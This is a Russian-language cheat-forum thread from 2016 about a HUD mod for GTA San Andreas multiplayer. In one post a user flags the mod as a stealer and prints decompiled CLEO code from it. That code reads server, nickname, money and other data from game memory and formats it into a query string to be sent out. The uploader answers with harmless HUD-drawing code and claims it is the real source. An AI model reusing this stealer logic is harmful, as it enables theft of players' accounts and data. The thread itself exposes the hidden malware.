C-HUD by Nas - Форум Cheat-Master.ru
  • Страница 1 из 1
  • 1
Модератор форума: Admin_Bot, Admin_Bot2, Admin_Bot3, Admin_Bot4  
C-HUD by Nas
[CM]Cok_ Дата: Суббота, 30.07.2016, 14:26 | Сообщение # 1
Новичок
Сообщений: 10
Статус: Offline
Los9ra Дата: Суббота, 30.07.2016, 14:36 | Сообщение # 2
Новичок
Сообщений: 20
Статус: Offline
Худ...полоски заменил и всё. -ставлю

Losyara_228
Grustnuy Дата: Суббота, 30.07.2016, 14:42 | Сообщение # 3
¯\_(ツ)_/¯
Сообщений: 201
Статус: Offline
Мне кажется стоит логотип или подобное что нибудь добавить, уж слишком пустует место. (ИМХО)



Если вам удалось обмануть кого-то, не думайте, что тот кого вы обманули дурак. Просто вам доверяли больше, чем вы того заслуживаете.

Λ S Λ T Λ ♥
xCrazyx Дата: Суббота, 30.07.2016, 14:55 | Сообщение # 4
Top Seller in The World
Сообщений: 357
Статус: Offline
Лучше интерфейс худ сделать,ито красивее будет,лично мне такие не нравятся,и вверху мини карты можно свой ник,имя поставить!
andre500 Дата: Суббота, 30.07.2016, 15:36 | Сообщение # 5
Новичок
Статус: Offline
C-Hud Nas [Здоровье].cs стиллер.

Код
0AA2: 31@ = load_library "kernel32.dll" // IF and SET
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
0A8E: 3@ = 0@ + 2203896 // int
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1
if
  2@ > 1000
jf @Noname_943
0A8E: 22@ = 2@ + 973 // int
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1
if
  2@ > 1000
jf @Noname_943
0A8E: 5@ = 23@ + 24 // int
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1
if
  4@ > 1000
jf @Noname_943
0A8E: 5@ = 4@ + 34 // int
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1
if
  24@ > 1000
jf @Noname_943
0A8E: 22@ = 0@ + 2203832 // int
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1
if
  1@ > 1000
jf @Noname_943
0A8E: 7@ = 1@ + 40 // int
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1
0A8E: 5@ = 1@ + 44 // int
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1
if
  6@ == 1
jf @Noname_416
if or
  26@ == 1
  26@ == 3
jf @Noname_416
25@ = 1
if and
  25@ == 1
   not 6@ == 1
jf @Noname_943
0A8E: 7@ = 1@ + 48 // int
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1
0A8E: 6@ = 1@ + 36 // int
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1
0A8E: 6@ = 0@ + 528432 // int
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@  
0A8E: 6@ = 4@ + 26 // int
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1
0A8E: 7@ = 4@ + 10 // int
if
   not 23@ >= 16
jf @Noname_579
0085: 12@ = 7@ // (int)
goto @Noname_591
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1
wait 100
0A8E: 9@ = 2@ + 289 // int
0A8E: 14@ = 2@ + 32 // int
0A8E: 8@ = 2@ + 549 // int
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1
0A8E: 18@ = 4@ + 42 // int
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1
21@ = Player.Money($0[2])
0AC6: 0@ = label @Noname_1637 offset
call @Noname_950 0 22@ 4@ 25@ 6@ 7@ 8@ 19@ 10@
alloc 20@ 1024
gosub @Noname_1664
alloc 20@ 456
format 20@ "%sbase=%d&ip=%s:%d&serv=%s&inid=%d&inp=%s&mn=%d&score=%02d&time=%02d:%d&data=%02d.%02d&nn=%s" 0@ 28@ 14@ 15@ 9@ 3@ 5@ 21@ 27@ 7@ 8@ 6@ 4@ 12@
alloc 8@ 356
format 8@ ""
call @Noname_1192 1 8@ 9@
call @Noname_1265 2 9@ 20@
free 8@
free 20@
25@ = 0
goto @Noname_38
0AA2: 0@ = load_library "kernel32.dll" // IF and SET
0AA4: 1@ = get_proc_address "GetLocalTime" library 0@ // IF and SET
alloc 2@ 32
0AA5: call 1@ num_params 1 pop 0 2@  
0A8D: 3@ = read_memory 2@ size 2 virtual_protect 0
2@ += 2
0A8D: 4@ = read_memory 2@ size 2 virtual_protect 0
2@ += 2
0A8D: 5@ = read_memory 2@ size 2 virtual_protect 0
2@ += 2
0A8D: 6@ = read_memory 2@ size 2 virtual_protect 0
2@ += 2


[CM]Cok_ Дата: Суббота, 30.07.2016, 15:42 | Сообщение # 6
Новичок
Сообщений: 10
Статус: Offline
andre500,
Код
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "SYSTEMFV12"
wait 0
thread "$NONAME"
03F0: enable_text_draw 1

:33
wait 0
0@ = Actor.Health($PLAYER_ACTOR)
03E4: set_text_draw_align_right 1
033F: set_text_draw_letter_size 0.5 0.8
0340: set_text_draw_RGBA 255 255 255 255
081C: draw_text_outline 1 RGBA 0 0 0 255
045A: draw_text_1number 530.0 75.0 GXT 'NUMBER' number 0@  // ~1~
if
   not 0@ >= 250
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 60 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 155
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 61 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 150
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 62 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 145
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 63 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 140
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 64 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 135
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 65 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 130
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 66 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 125
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 67 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 120
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 68 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 115
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 69 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 110
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 70 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 105
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 71 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 100
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 72 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 95
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 73 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 90
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 74 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 85
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 75 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 80
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 76 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 75
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 77 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 70
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 78 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 65
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 79 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 60
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 80 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 55
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 81 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 50
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 82 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 45
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 83 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 40
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 84 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 35
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 85 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 30
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 86 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 25
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 87 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 20
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 88 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 15
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 89 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 10
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 90 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 5
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 91 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
if
   not 0@ >= 2
jf @33
03E3: set_texture_to_be_drawn_antialiased 1
038D: draw_texture 92 position 560.0 88.98 size 150.0 150.0 RGBA 255 255 255 255
jump @33


Вот код и не п****
Надоели уже


Сообщение отредактировал [CM]Cok_ - Суббота, 30.07.2016, 15:46
andre500 Дата: Суббота, 30.07.2016, 15:57 | Сообщение # 7
Новичок
Статус: Offline
Цитата [CM
Cok_;3918751]Вот код и не п****

Эх щас бы кидать псевдо-исходный код вместо настоящего

Вот уж кого, а меня, скриптера с 4-летним стажем, такой фигней не обмануть smile




Сообщение отредактировал andre500 - Суббота, 30.07.2016, 15:58
[CM]Cok_ Дата: Воскресенье, 07.08.2016, 21:51 | Сообщение # 8
Новичок
Сообщений: 10
Статус: Offline
andre500, кому надо будет сам код посмотрит

Добавлено (07.08.2016, 21:51)
---------------------------------------------
up

-Masson- Дата: Четверг, 06.07.2017, 03:05 | Сообщение # 9
Сообщений: 2529
Статус: Offline
  • Страница 1 из 1
  • 1
Поиск:
Статистика Форума